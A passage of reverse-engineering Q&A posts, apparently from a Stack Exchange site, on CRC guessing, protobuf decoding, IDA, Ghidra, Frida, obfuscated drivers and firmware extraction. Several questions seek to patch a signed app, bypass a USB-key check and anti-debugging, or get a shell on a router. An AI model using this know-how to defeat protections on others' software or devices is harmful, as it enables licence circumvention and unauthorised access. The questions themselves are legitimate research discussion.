|Block 2 |00 01 01 01|
|Block 3 |14 61 CB CB|
|Block 4 |00 CB D3 00|
|Block 5 |A6 A0 06 D5|

(12)
| Block  |  Data     |
|--------|-----------|
|Block 1 |C9 09 4C F1|
|Block 2 |00 01 01 01|
|Block 3 |15 63 D8 CB|
|Block 4 |00 D8 D3 00|
|Block 5 |95 72 B6 E4|
</code>```

Is anyone able to figure out how data in row 5 was derived?

Many thanks in advance.


问:
Patched Mac application throws "Invalid value of (null) for entitlement" when running it
I have patched a specific application that I downloaded from the app store but when I ran the executable, it gave me a signal kill 9. I also reverted back the change I made, but the same error was thrown when I ran it. I figured it might be a code signing issue and removed it with optool but then I got this error:

```<code>[CK] Invalid value of "(null)" for entitlement "com.apple.application-identifier" or "com.apple.developer.associated-application-identifier" on process "(57039)". We expect TEAMID.BUNDLEID, and insist that TEAMID is exactly 10 characters long, consisting of [0-9][A-Z]. This is a permanent issue, and access to CloudKit will be denied until this is resolved.
</code>```

I'm not sure if I'm on the right track but in case I am, how can I codesign the binary with its original bundle identified after patching the binary?


问:
IDA binary patch "has no file mapping"
I am trying to change one byte (TBZ to TBNZ) inside a ~40mb binary. Ive done this multiple times with other files but this time IDA is giving me a hard time by simply not patching and printing this to the console:

```<code>71007A5BCF: has no file mapping (original: 36 patched: 37)...skipping...
Applied 0/1 patch(es)
</code>```

I am unable to figure out what it means and how to fix it. If someone does, please tell me in layman's terms as english is not my primary language.

Title: IDA binary patch "has no file mapping"


问:
How find all kernel functions called by a driver in windows 11
I am working on a highly obfuscated driver that is virtualized. In an attempt to work on this driver I asked a question about some python scripts which turned out not to be effective at all so I decided to delete that question and ask my question directly by explaining all the details so maybe I can find a better solution for my problem.

Driver size is about 3mb and it is packed and when it's loaded on memory it gets around 6mb which shows how much garbage code is actually there, it used anti static analysis methods like jumping to different locations by register, calling API functions using push and ret instructions and getting API addresses using brute force and many more methods that I am not aware.

Now when I am using windbg to analyze the driver I tried the ta instruction which was suggested in the previous question about python script, even 6 hours was not enough to get to that address. As a result I thought about the ideas below but I am not sure if they are working or if there is any open source tool for these ideas so I would really appreciate it if anyone can give me a solution to this problem.

Using DTrace is one of the ideas that I tried, the problem is, driver detecting both
debugger and my virtual machine so when I am using sc command to run the driver, its getting
closed immediately so I do not know how can I use DTrace since I am not familiar that much
with the tool.

Using or writing an IRP tracker so I can find out what functions get called when I am using sc command. I found out
OSR has a tool for this purpose but sadly it is not working for windows 11 but maybe there
is an open source tool for this idea.

Tldr; Working on a virtualized and heavily mutated driver with tons of fake calls that hide all import functions and getting addresses using brute forcing memory I need a way to find all those functions.


问:
Understanding gRPC message

Problem

I intercepted a gRPC network request from an application, and I intend to modify the contents and resend the message programmatically. As no tools (except for MitmProxy, see below) were able to decode the protobuf data I wanted to know why that is.

The gRPC payload sent from the client:

```<code>gRPC header       | Protobuf data
[00] [00 00 00 22] [12 12 09 c3 8d 09 16 c3 93 2a c2 a5 4d 40 11 14 39 c3 ab 6b c2 a2 c3 b3 31 40 1a 05 65 6e 2d 53 45 1a 05 73 76 2d 53 45]
 ^^       ^^ Payload length
Compressed flag
</code>```

What I've tried

Failure

protoc --decode_raw on the protobuf data, but I get Failed to parse input.

CyberChef with protobuf decode, gives Error: Exhausted Buffer

The blackboxprotobuf python module, raising google.protobuf.message.DecodeError: Invalid Message Length

Success

MitmProxy was able to decode the data to the following:

```<code>gRPC message 0 (compressed False)
[message]    2
[fixed64]    2.1   4633543028839346763
[fixed64]    2.2   4625748902140211098
[message]    3
[fixed32]    3.12  1163079022
[string]     3     sv-SE
</code>```

Manually decoding

```<code>[message]
00010 010 00010010
  2   LEN    18

[fixed64]
00001 001 [11000011 10001101 00001001 00010110 11000011 10010011 00101010 11000010]
  1   I64                            13991157658477498000

[fixed32]
10100 101 [01001101 01000000 00010001 00010100]
  20  I32              336674893

[fixed64]
00111 001 [11000011 10101011 01101011 11000010 10100010 11000011 10110011 00110001]
  7   I64                            3581421232503631000

[unknown]
01000 000 [00011010 00000101]
  8  VARINT       ???

[message]
00011 010 00000101
  3   LEN    5

[fixed32]
01100 101 [01101110 00101101 01010011 01000101]
 12   I32              1163079022

[string]
00011 010 00000101 [01110011 01110110 00101101 01010011 01000101]
  3   LEN    7         s         v       -        S         E
</code>```

I decoded it using the google documentation as reference: https://developers.google.com/protocol-buffers/docs/encoding. However, I am not familiar with gRPC or protobuf so I have likely have gaps in my knowledge.

Worth noting:

I was able to successfully decode all server responses without problems.

The payload length as indicated by the gRPC header (0x22) differs from its actual length (0x28).

MitmProxy has access to both the gRPC headers and the protobuf data, while the other tools I tried (that all failed) only support protobuf data as input.

I do not know for a fact that MitmProxy decoded the data correctly, only that it ran without exceptions

According to the user agent, the client uses grpc-swift-nio/1.9.0

Title: Understanding gRPC message


Title: Reverse engineering CRC8 algorithm

Body:
I am trying to reverse-engineer a protocol which includes a final byte that is (possibly) a CRC-8 with some unknown parameters.

I have collected some data, however, the downside is the fixed length

```<code><------------------ data ------------------>  CRC Byte
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  B1
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20  6B
C8 6E 4D 00 00 00 00 00 00 00 00 00 00 00 00  55
38 3C 80 40 40 40 A0 95 91 33 23 0B A1 C6 19  44
01 40 BA 1E 5D 4C 0A 04 16 60 E5 4A C0 78 35  DF
</code>```

I have already tried reveng with no luck. I can provide more messages and their respective CRCs.

EDIT 1:

Data with small differences. I have collected some data (pastebin) with small differences, for example, the following:

```<code>38 3C 80 40 20 70 A5 15 A5 33 64 F5 A0 2A 59 BD
38 3C 80 40 20 70 A5 15 A5 33 64 F5 A0 26 59 B4
                                        ^

38 3C 80 40 20 40 A0 95 91 33 23 0B A0 CA 1D 09
38 3C 80 40 20 40 A0 95 91 33 23 0B A0 C5 1D 42
                                        ^
</code>```

EDIT 2:

I have found some messages with one bit of difference:

```<code>38 3C 80 40 40 70 A5 15 A5 33 64 F5 A1 31 5D B1
38 3C 80 40 40 70 A5 15 A5 33 64 F5 A1 34 5D 77
38 3C 80 40 40 70 A5 15 A5 33 64 F5 A1 35 5D B6
38 3C 80 40 40 70 A5 15 A5 33 64 F5 A1 38 5D 7E
38 3C 80 40 40 70 A5 15 A5 33 64 F5 A1 39 5D BF
                                        ^

38 3C 80 40 40 40 A0 95 91 33 23 E7 A1 38 1E EC
38 3C 80 40 40 40 A0 95 91 33 23 E7 A1 39 1E 2D
                                        ^

38 3C 80 40 40 40 A0 95 91 33 23 0B A1 CA 1D 2F
38 3C 80 40 40 40 A0 95 91 33 23 0B A1 CE 1D 28
                                        ^
</code>```

EDIT 3:

I have found some patterns following this tutorial using the following messages (pastebin):

```<code>383c80404070a515a53364f5a1315db1
383c80404070a515a53364f5a1345d77
383c80404070a515a53364f5a1355db6
383c80404070a515a53364f5a1385d7e
383c80404070a515a53364f5a1395dbf
383c80404070a515a53364f5a13a5dfd
383c80404070a515a53364f5a13b5d3c
                           ^
</code>```

After XORing I can get the following difference messages:

```<code>0100C1
020083
040007
08000E
</code>```

It seems that after shifting the difference message 1 bit to the left, the resulting checksum also is being shifted 1 bit to the left. And if the leading bit of the checksum (the one about to be shifted out) is 1, then the resulting checksum will be equal to the previous shifted one place and XORed with 1 (as if 1 was the polynomial of the crc8).

However, this does not hold further for these messages:

```<code>383c80404070a515a53364f5a1245d73
383c80404070a515a53364f5a1345d77
</code>```

After XORing:

```<code>100004
</code>```

Some other examples:

```<code>383c80404040a095913323e0a0d51d0d
383c80404040a095913323e0a1d51d8b
--------------------------------
                         1000086

383c80402070a515a5332422a02d7568
383c80402070a515a5332422a42d756a
--------------------------------
                         4000002
</code>```

EDIT 4:

Take the following example:

```<code>383c80404040a0959133230ba1ce1d28
383c80404040a0959133230ba1d41da1
--------------------------------
                          1A0089
</code>```

1A0089 can be obtained by XORing 100004 ^ 8000E ^ 20083. I am not sure if it has something to do with the checksum.

EDIT 5:

I have made a table of single bit difference messages:

```<code>00 00 00 01 -> 98
00 00 00 02 -> 31 ?
00 00 00 04 -> 62
00 00 00 08 -> C4

00 00 00 10 -> 91
00 00 00 20 -> 23
00 00 00 40 -> 46 ?
00 00 00 80 -> 8C ?

00 00 01 00 -> C1
00 00 02 00 -> 83
00 00 04 00 -> 07
00 00 08 00 -> 0E

00 00 10 00 -> 04
00 00 20 00 -> 08 ?
00 00 40 00 -> 10 ?
00 00 80 00 -> 20 ?

00 01 00 00 -> 86
00 02 00 00 ->
00 04 00 00 -> 02
00 08 00 00 ->

00 10 00 00 ->
00 20 00 00 ->
00 40 00 00 -> 67
00 80 00 00 ->
</code>```

I have marked with ? the entries I predicted myself following the steps described in edit 3. Other entries were obtained XORing either original or difference messages (as described in edit 4).

EDIT 6:

I have collected more data (pastebin).


问:
RDATA Section Strings
I have been reversing a binary and trying to make sense of it, which is basically a go malware, there are lot of important strings at the .rdata section, but right now am not sure where this strings are actually used as there isnt any XREFs from the RDATA section. Any help would be appreciated, also I tried to debug this, there is some kind of anti-re stuff, which is causing a bit of headache. Thank you!

Attaching an image here :

Title: RDATA Section Strings


问:
How to see the src of a Node.exe
Long story short, my friend sent me some scripts a while ago and lost a lot of his old source code and I wanted to see how it works but it's compiled into a node.exe (Node.js: Server-side JavaScript). Is there any tools or editors to help me see the original source in JS?</p>

Title: How to see the src of a Node.exe


问:
Reinterpreting local function strings in Ghidra (ARM)
The program I'm working with has stuff like this all over:

```<code>      strbuf = 0x20746567;
      local_824 = (undefined *)0x6863616d;
      local_820 = (undefined *)0x20656e69;
      local_81c = (undefined *)0x6c696166;
      local_818 = &DAT_000a6465;
                    /* get machine failed */
</code>```

Here I've added a comment showing what the gibberish actually means.  Often when strings are declared in local functions, they look like this, and I type them into an online hex-to-ascii converter to determine what they say.

For what it's worth, this is what the listing window shows:

```<code>      0001c1a0 0f 00 ae      stmia     lr!,{ fd r1 r2 r3 }=>strbuf
               e8
      0001c1a4 06 10 a0      cpy       r1,r6
               e1
      0001c1a8 00 20 a0      mov       r2,#0x0
               e3
      0001c1ac 03 00 a0      mov       fd,#0x3
               e3
      0001c1b0 00 c0 8e      str       r12=>DAT_000a6465,[lr,#0x0]=>local_818
               e5
</code>```

I admittedly have zero experience with assembly, so this means nothing to me, but it may help someone else.  I'm also only about a week into my Ghidra experience.

In these cases, is there a way to retype the data so that it shows up in the decompiler as a human-readable string?


问:
How to get the APIs present in a particular block in a CFG using Angr?
I'm doing binary analysis based on Control Flow Graph (CFG). As I suppose to get the APIs from every block in the CFG. I'm finding it very difficult to do so using Angr as I don't have enough grip on Angr. Could someone please answer this?

If it is not possible with Angr, please suggest another alternative solution.


问:
Dumping .NET Dynamic Methods
I have a .NET exe that creates DynamicMethods whose bodies are built from a byte array and later called. I'm able to access the array, and even to disassemble it "raw" starting from the bytes to get an idea of what the method is doing but i'm unable to dump these methods to disk in a reliable way. I've tried with dnSpy by copying the resulting IL instructions, however i need to do this for something like 70 functions, some of them over 3000 bytes long and i'm trying to automate it. The problem i have is that an instruction like this

```<code>IL_0002: newobj     Void .ctor(System.Exception)/System.Diagnostics.StackTrace
</code>```

corresponds to:

```<code>raw bytes : 02 73 02 00 00 06

IL_0002 newobj  0x06000002
</code>```

However, the way it's stored on disk becomes:

```<code>raw bytes : 02 73 E5 00 00 0A

IL_0002 newobj  0x0A0000E5
</code>```

I've read the ECMA specification for CIL but i haven't found how these tokens are translated or what offsets are used in this particular computation.

TLDR
What i'm trying to do is to restore the bodies of methods of an executable that have been replaced with random junk from their byte representation in an automated way, ideally by rewriting the section that's supposed to contain the instructions.
I hope it's not too similar to another question regarding .NET (and the same challenge i believe) that's still open.

similar question, i believe my problem is different though.

Title: Dumping .NET Dynamic Methods


问:
Where can I find the hashing algorithm in source code?
When I submit login credentials in an Android Application it POSTs an encrypted string to an API endpoint.

For example, if I enter the following email & pass :

"abc@abbc.com:abc"

it POSTs the following Encrypted Data:

```<code>uuid=81d036bfca2258ea_nofq2ipit&model=SM-G977N&platform=Android&version=5.1.1&complie=android&token=%7B%22ct%22%3A%22ryYURhKTo02TMPyxP2vPG93FFw%2FkQ%2FP%2B129znAYCKC4%3D%22%2C%22iv%22%3A%221b99dad6887136408d84fbce42ea31f1%22%2C%22s%22%3A%22033a413ac951a2d0%22%7D&key=0.8615443813135553
</code>```

How do I find the encryption algorithm in the source code of the APK?

In which file can I find about this encryption?

Dex2Zip: https://www.mediafire.com/file/gzn73270ujnyvmc/Dex.zip/file

APK: https://www.mediafire.com/file/118lcjhxohcczt0/BJ.apk/file


问:
frida calling method raises error pointer expected
i have a java method i am trying to call manually

public static native Object a(int i, int i2, long j, String str, Object obj);

whenever i try to call it and pass the needed arguments it raises a error pointer expected
the obj parameter is a string list this is the code i tried

```<code>var e = ["string1","string2"];
var arr = Java.array('java.lang.String', e);
var x = Java.use("ms.bd.o.k")
x.a.overload('int', 'int', 'long', 'java.lang.String', 'java.lang.Object').call(x, 50331649, 0, 140734272498240, url, arr)
</code>```

i also tried changing the overload to
.overload('int', 'int', 'long', 'java.lang.String', '[java.lang.String')
this raises the error below

```<code>Error: a(): argument types do not match any of:
        .overload('int', 'int', 'long', 'java.lang.String', 'java.lang.Object')
    at X (frida/node_modules/frida-java-bridge/lib/class-factory.js:563)
    at value (frida/node_modules/frida-java-bridge/lib/class-factory.js:967)
    at e (frida/node_modules/frida-java-bridge/lib/class-factory.js:547)
    at <anonymous> (/script1.js:94)
    at <anonymous> (frida/node_modules/frida-java-bridge/lib/vm.js:12)
    at perform (frida/node_modules/frida-java-bridge/index.js:193)
    at ms_bd_c_h_a (/script1.js:99)
    at apply (native)
    at <anonymous> (frida/runtime/message-dispatcher.js:13)
    at c (frida/runtime/message-dispatcher.js:23)
</code>```


Title: Reverse engineering 18 Bytes protocol

Body:
I'm not really used to do algorithm reverse engineering, so I need some help
It's a SPI communication between a STM and a wireless chip, hopefully the data were correctly acquired by the logic analyser

I guess it's a CRC8, data are fixed length of 18 Bytes

I have already tried reveng without success.

D0105090BF3FBF3FD01050907FB8FF387FFF7FFF7FFF1F1F1F1F0F090E0C2F2F2F2F0F0F090F0E0C0C0F090E80808080494949490000000049494949494949494949000000006868686800000000686868686868686868680000000064646464000000006464646464646464646400000000E7E7E7E700000000E7E7E7E7E7E7E7E7E7E780808080777777770000000077777777777777777777070707074F060303000000004F7706770303034F060300000000621901010000000062C719C7010101621901000000006435212100000000640E350E21212164352100000000495103030000000049125112030303495103000000006EFD0808000000006EFDFDFD0808086EFD0800000000663E151500000000663E3E3E151515663E15000000006FAF0000000000006FAFAFAF0000006FAF0000000000006A7F6A00000000006A6A6A7F6A6A006A7F0000000000F634F60000000000F6F6F634F6F600F63400000000008A8A8A00000000008A8A8A8A8A8A008A8A0ACA8A4A1ECC3E1301C181415E940C147E53D3DE8CFE


问:
What's the checksum algorithm for this? Please help to reverse engineer the algorithm
We are trying to make a gadget to interface with Sirius SXV300 module. We are now try to figure out it's communication checksum algorithm. Below are some data in hex strings. Our understanding is that 'DE C6' marks the start of each frame, and the last two bytes of each frame are checksum. We could only find their old version of protocol, and it says the checksum is "the 2’s-complement (negative) of the sum of all bytes from SYNC up to and including all bytes in the PAYLOAD, prior to byte stuffing". However, it seems that the new protocol uses different algorithm now. Here is the link to the old protocl: https://www.dropbox.com/s/mtpk3n5vcvaxlfg/Sirius%20RS232%20protocol.pdf?dl=0

DE C6 22 01 00 04 40 A0 0F 0C DF C4
DE C6 23 01 00 04 40 A0 10 0D 00 CA
DE C6 25 01 00 05 43 00 12 01 22 8E 4C
DE C6 26 01 00 05 43 00 13 01 33 83 59
DE C6 27 01 00 05 43 00 14 01 34 B8 62
DE C6 28 01 00 05 43 00 15 01 3C A4 66
DE C6 28 01 00 05 43 00 1F 00 99 1D CD
DE C6 2B 01 00 04 40 A0 18 0C 4F DB
DE C6 2B 01 00 04 40 A0 22 0C 63 E5
DE C6 2C 01 00 04 40 A0 19 0D 44 D8
DE C6 2D 01 00 05 43 00 1A 01 3E 00 77
DE C6 2E 01 00 05 43 00 1B 01 41 F7 77
DE C6 2F 01 00 05 43 00 1C 01 42 1D 7F
DE C6 30 01 00 05 43 00 1D 00 02 CD 3B
DE C6 31 01 00 03 44 04 1E 70 40
DE C6 32 01 00 04 40 A0 1F 03 76 DA
DE C6 35 01 00 05 43 00 22 00 05 26 4D
DE C6 36 01 00 05 43 00 23 00 06 19 4A
DE C6 37 01 00 05 43 00 24 00 07 37 51
DE C6 3A 01 00 05 43 00 27 00 0C 58 5A
DE C6 3B 01 00 04 40 A0 28 03 E6 F0
DE C6 3C 01 00 04 40 A0 29 0C E2 F9
DE C6 3D 01 00 04 40 A0 2A 0D 06 00
DE C6 3E 01 00 05 43 00 2B 00 0D 88 63
DE C6 41 01 00 05 43 00 2E 00 10 B7 6C
DE C6 42 01 00 05 43 00 2F 00 11 BC 6F
DE C6 43 01 00 04 40 A0 30 03 38 02
DE C6 44 01 00 04 40 A0 31 0C 37 0B
DE C6 46 01 00 05 43 00 33 00 14 EE 7A
DE C6 47 01 00 05 43 00 34 00 15 03 7C
DE C6 48 01 00 05 43 00 35 00 17 09 80
DE C6 49 01 00 03 44 04 36 2F 71
DE C6 4A 01 00 05 43 00 37 00 1B 25 88
DE C6 4B 01 00 05 43 00 38 00 1D 3B 8C
DE C6 50 01 00 05 43 00 3D 00 20 72 9B
DE C6 51 01 00 05 43 00 3E 00 22 88 9F
DE C6 52 01 00 05 43 00 3F 00 23 8D A0
DE C6 53 01 00 05 43 00 40 00 24 A2 A5
DE C6 54 01 00 05 43 00 41 00 26 A8 A9
DE C6 55 01 00 04 40 A0 42 03 EB 26
DE C6 56 01 00 04 40 A0 43 0C EA 2E
DE C6 59 01 00 05 43 00 46 00 2C FA BA
DE C6 5A 01 00 05 43 00 47 00 2D F0 B9
DE C6 5F 01 00 04 40 A0 4C 0D 4E 42
DE C6 60 01 00 05 43 00 4D 00 32 4E CE
DE C6 61 01 00 05 43 00 4E 00 37 59 D5
DE C6 62 01 00 05 43 00 4F 00 39 6D DB
DE C6 63 01 00 05 43 00 50 00 3A 73 DA
DE C6 64 01 00 05 43 00 51 00 3C 8A E0
DE C6 65 01 00 05 43 00 52 00 40 92 E4
DE C6 66 01 00 04 40 A0 53 03 8C 46
DE C6 67 01 00 04 40 A0 54 0C 9D 51
DE C6 68 01 00 04 40 A0 55 0D AA 54
DE C6 69 01 00 05 43 00 56 00 45 C7 F3


问:
Reversing internal function, can't call it with injected DLL
I'm currently learning RE. I've chosen to do so by trying to RE Skyrim for PC. I'm trying to call the ingame function for printing to the console, I'm doing this via an Injected DLL.

The function call looks like this

```<code>mov eax,tesv.1095FB8
mov edx,dword ptr ds:[1B10B58]
push eax
push tesv.1095FAC
push edx
call <tesv.ConsoleLog>
add esp,C
</code>```

When called the arguments look like this

I believe the typedef for this function would be

```<code>typedef void(__cdecl *f_ConsoleLog)(uintptr_t ptr1, const char* ptr2, ...);
</code>```

However calling the function causes an access violation, I've even tried to call it using inline ASM exactly as the aforementioned assembly does.

I'm quite stuck and don't know where to look next, could anyone point me in the correct direction?


问:
x32dbg : exe with different code address when running
I have a 32 bits exe that works only when there is a specific usb flash disk inserted. On my new laptop, I only have a single USB port, so I want to make it works without the original key, or from a "subst" directory, or from a virtual CD ROM / Hard drive . Of course, I can use a USB Hub to plug the key and my mouse, but it will be less funnier.

I load the EXE with x32dbg, I activated the ScyllaHide to prevent debugging detection and I disabled ASLR . A few set of instruction after the OEP, I can trace a loop that modify the code : the EDI point to code after the loop, and when stepping into the loop, I can see the asm code is modified (there is a few of xor and shr ops in the loop). This process is repeated several times. It is not a code unpacking routine, it looks more than decrypting.

With Scylla I can dump the executable after theses first decryption routine, with a OEP setted just after the execution of the decrypt routines, so there is no need to run them each time I debug the exe.

But the exe seems to do more dynamic code loading / decrypting during its early execution, and at some time I trace some unusuall call like : call dword ptr ds:[4356A0] . And the address is different from a run to an other. If I set the EOP after this routines, the program crash.

So i'm unable to set accurate breakpoints on the code, because the address is changing on each execution.
For example, at first run, I set a bp on

022C5DA2 | E8 E393FFFF                   | call <JMP.&GetDiskFreeSpaceExA>                   |

And when reloading the exe, the address of this instruction has changed :

022B5DA2 | E8 E393FFFF                   | call <JMP.&GetDiskFreeSpaceExA>                   |

From a debugging session to an other, all my breakpoints and labels are lost (they are marked as "Inactive" with no assembly code). So it makes the analysis task quite difficult.

Is there a way with x32dbg, or eventually IDA Free, to fix this behavior ? The exe itself is quite small (300Kb)


问:
Fail to load pdb file in IDA
I'm following this post to set my IDA symbol path How to configure IDA to load .pdb files from Microsoft public symbol server?

I added a system variable called _NT_SYMBOL_PATH with value SRV*\C:\Symbols*http://msdl.microsoft.com/download/symbols
My local directory c:\symbols has all the pdb files needed

and here is my pdb.cfg

```<code>// PDB plugin

// PDB information provider
#define PDB_PROVIDER_MSDIA  1   // use MSDIA local/remote provider
#define PDB_PROVIDER_PDBIDA 2   // use PDBIDA provider
//PDB_PROVIDER = PDB_PROVIDER_PDBIDA

// it is possible to specify the desired provider in the command line:
//      ida -Opdb:off input_file
//      ida -Opdb:msdia input_file
//      ida -Opdb:pdbida input_file

// Symbol search path
// The _NT_SYMBOL_PATH environment variable overrides this setting.
// If none of these variables is set then the default value will be used:
// "SRV*CACHEDIR*http://msdl.microsoft.com/download/symbols"
// where
//   CACHEDIR=%TEMP%\ida  for Windows
//   CACHEDIR=$TMPDIR/ida or $TMP/ida or /tmp/ida for non-Windows OSes
//
_NT_SYMBOL_PATH = "SRV*c:\\symbols*http://symbols.mozilla.org/firefox;SRV*c:\\symbols*http://msdl.microsoft.com/download/symbols";

// PDBIDA is able to load MSF 7.0 PDB files only.
// MSDIA can load all PDB files, including old MSF 2.0 files.
// If you set the following option to YES, IDA will automatically switch
// to MSDIA for old files.
// Please note that under Linux/macOS the MSDIA provider requires you to configure
// the win32_remote.exe server because it can run only on Windows.
// It is possible to specify the desired behavior in the command line:
//      ida -Opdb:fallback input_file
//      ida -Opdb:nofallback input_file
PDB_MSDIA_FALLBACK = NO

// remote server where win32_remote.exe is running
// used when loading PDB symbols on non-Windows platforms
// NB: it will be used only if there is not already an existing debugging session started
PDB_REMOTE_SERVER = "localhost";
PDB_REMOTE_PORT   = 23946
// password for the remote server
PDB_REMOTE_PASSWD = "";

</code>```

I restarted IDA
The error message is

: failed to load pdb info.

And IDA is asking to specify which pdb file I want to load. However, I don't know which pdb file is responsible for the file(dns.exe) that I'm debugging.

Any ideas?

I loaded all the symbols finally. I type dns.exe in 'load pdb' file tab and IDA loaded automatically. I guess the debug directory is specified in the file. Some of function names are pretty weird. My question is can IDA load unmatched pdb files in this case or I'm good to go?

Title: Fail to load pdb file in IDA


问:
.bin firmware Standalone Binwalk returns garbage, Binwalk -I returns something but seems corrupted. Binwalk -X returns hundreds of raw deflate streams
As the title says I have the firmware of the WAX214 wifi access point. The firmware is actively preventing me from using the full available functionality of the device so I am trying to reverse it to look for a way to get raw ssh shell on it.

From the running firmware I can deduce 100% that it is an Openwrt based system.

Running binwalk against it returns just two results, which are pretty much garbage.

```<code>┌──(arimodu㉿kalivm)-[~/WAX214-Firmware]
└─$ binwalk WAX214_V2.1.1.3_firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
11661818      0xB1F1FA        MPEG transport stream data
19693572      0x12C8004       Cisco IOS microcode, for ""
</code>```

If I try to run Binwalk with the -I flag I get

```<code>┌──(arimodu㉿kalivm)-[~/WAX214-Firmware]
└─$ binwalk WAX214_V2.1.1.3_firmware.bin -I

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
27            0x1B            Broadcom firmware header Corporatio sfsM▒Üõvÿ. Model: <ãÖ¬5x<Ìg³Y´x<Ï!ß8ßUð¨GÝ8Â¦ÿWkH
                                                                                ®Ïg³YQÿ¨ÀY¬x<ÎÐ+HÏg³Y¯x<Åg³Y¬Pÿ¼*Ï. Firmware version: ß8ßUð¨GÝ8Â¦ÿWkH
                                                              ®Ïg³YQÿ¨ÀY¬x<ÎÐ+HÏg³Y¯x<Åg³Y¬Pÿ¼*Ï.
30494         0x771E          Linux EXT filesystem, blocks count: 2183564478, image size: 2235970025472, invalid state invalid error behavior invalid major revision rev -1056396809.-16120, ext4 filesystem data, UUID=4a8b3f59-f0aa-15d2-358c-2d4ffbeffbef, volume name "*ØXwû¶G"
</code>```

Which is more what I would expect but there are these "corrupted" parts.
If I try to extract that with dd I just get the same thing. Running file against the extracted "filesystem" I get

```<code>┌──(arimodu㉿kalivm)-[~/WAX214-Firmware]
└─$ file filesystem.ext4
filesystem.ext4: Linux rev -148578675.-16120 ext4 filesystem data, UUID=4a8b3f59-f0aa-15d2-358c-2d4ffbef33d6 (compressed) (extents) (huge files)
</code>```

I notice the (compressed) keyword here so trying to run binwalk -X I get

```<code>┌──(arimodu㉿kalivm)-[~/WAX214-Firmware]
└─$ binwalk WAX214_V2.1.1.3_firmware.bin -X

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
18            0x12            Raw deflate compression stream
51            0x33            Raw deflate compression stream
53            0x35            Raw deflate compression stream
213           0xD5            Raw deflate compression stream
269           0x10D           Raw deflate compression stream
275           0x113           Raw deflate compression stream
429           0x1AD           Raw deflate compression stream
544           0x220           Raw deflate compression stream
700           0x2BC           Raw deflate compression stream
1100          0x44C           Raw deflate compression stream
1107          0x453           Raw deflate compression stream
1204          0x4B4           Raw deflate compression stream
1564          0x61C           Raw deflate compression stream
1940          0x794           Raw deflate compression stream
2836          0xB14           Raw deflate compression stream
3960          0xF78           Raw deflate compression stream
3995          0xF9B           Raw deflate compression stream
4084          0xFF4           Raw deflate compression stream
   .
   .
   .
</code>```

I trimmed the output of this one but basically it goes through the entire file by some 50 - 200 or so increments.
I tried mounting, no luck. fsck no luck either. What I get from that is this is not usable as a filesystem. Its probably not encrypted, but there is certainly something going in with compression I dont understand. Strings against either doesnt come up with anything useful, just garbage.
Entropy is currently broken on kali and I cant seem to get it working so I didnt run entropy.

Any ideas of what might be happening here?


问:
ZTE F680L V6.0 GPON firmware extraction JFFS2 decrypt AES key
Hi guys i have unpacked the firmware ZTE F680L v6.0 with binwalk -Me and have extracted the jffs2

You can find the firmware image here.

Inside we have an /etc folder with some db_default_cfg.xml which seem to encrypted with AES.

In the bin folder I also have a CSPD binary which seems to indicate that we might have some AES key to decrypt the xml files.

I was wondering if anyone already has been able to decrypt this xml file.

inside the cspd we have the following information

```<code>root@PSI-DEV:/media/jffs2-extracted/bin# binwalk -Me cspd

Scan Time:     2022-10-19 22:07:13 Target File:
/media/jffs2-extracted/bin/cspd MD5 Checksum:
e4305e01ac904ec26616be8c2a61febe Signatures:    391

DECIMAL       HEXADECIMAL     DESCRIPTION
-------------------------------------------------------------------------------- 0             0x0             ELF, 32-bit LSB executable, ARM, version
1 (SYSV) 1695018       0x19DD2A        Unix path: /usr/bin/P1006.dl >
/dev/lp%d 1695210       0x19DDEA        Unix path: /var/tmp/fw.bin
1734878       0x1A78DE        Unix path: /var/tmp/httplog.txt 1736358
0x1A7EA6        Neighborly text, "neighbor_list" 1740704
0x1A8FA0        Neighborly text, "neighbor list fail!%d, vap 0
%d,radio 1 %d, vap 1 %d" 1740905       0x1A9069        Unix path:
/var/tmp/mt7615e.dat 1745115       0x1AA0DB        Unix path:
/var/tmp/SingleSKU_%2s.dat 1745897       0x1AA3E9        Unix path:
/etc/wireless/mt7603e/RT2860AP.dat 1766727       0x1AF547        Unix
path: /var/tmp/db_encrycopy.bin 1769128       0x1AFEA8        Unix
path: /var/tmp/dtdns.conf 1774284       0x1B12CC        Unix path:
/var/tmp/fwurl_dns.oper 1774472       0x1B1388        Unix path:
/var/tmp/wancid_realname_map.conf 1774546       0x1B13D2        Unix
path: /var/tmp/resolv.conf 1774937       0x1B1559        Unix path:
/var/tmp/dnsdebug_level.conf 1775961       0x1B1959        Unix path:
/var/tmp/fwurl_dns.conf 1777929       0x1B2109        Unix path:
/var/nmbd/lib/nmbd.conf 1796803       0x1B6AC3        Unix path:
/var/tmp/b.txt 1798668       0x1B720C        Unix path:
/var/tmp/ftpuserinfo.log 1799222       0x1B7436        Unix path:
/var/tmp/testftpret 1799538       0x1B7572        Unix path:
/var/tmp/testFtpStausFile 1801512       0x1B7D28        Unix path:
/var/tmp/testFtpResultFile 1836646       0x1C0666        Unix path:
/var/tmp/igmp_proxy 1851733       0x1C4155        Unix path:
/var/tmp/ping%s.conf 1869744       0x1C87B0        Unix path:
/var/tmp/route_err.tmp 1874100       0x1C98B4        Unix path:
/var/iproute2/rt_tables 1877888       0x1CA780        Unix path:
/var/iproute2/wan_mark_map.conf 1877939       0x1CA7B3        Unix
path: /var/iproute2/wan_mark_map.conf) error. 1882439       0x1CB947
Unix path: /var/samba/lib/smb.conf 1883709       0x1CBE3D        Unix
path: /var/samba/var/smbpasswd 1884563       0x1CC193        Unix
path: /var/samba/lib 1884639       0x1CC1DF        Unix path:
/var/samba/lib/lmhosts 1884934       0x1CC306        Unix path:
/var/run/smbd.pid 1896994       0x1CF222        Unix path:
/var/tmp/diaggetres 1897300       0x1CF354        Unix path:
/var/tmp/diagputres 1898321       0x1CF751        Unix path:
/var/tmp/tracerouteret 1899280       0x1CFB10        Unix path:
/var/tmp/traceroute.tmp 1910292       0x1D2614        Unix path:
/var/tmp/upgradeTmpFile 1912864       0x1D3020        Unix path:
/home/duanyuanyuan/wk_use/wangkai/Builds_/ZXHN_ZY279128-f680v6.0/csp/applications/cspd/include/get_par.h
1917855       0x1D439F        Unix path:
/etc/hardcodefile/dataprotocol 1924083       0x1D5BF3        Unix
path: /var/tmp/ppp/options.oe%d 1926054       0x1D63A6        Unix
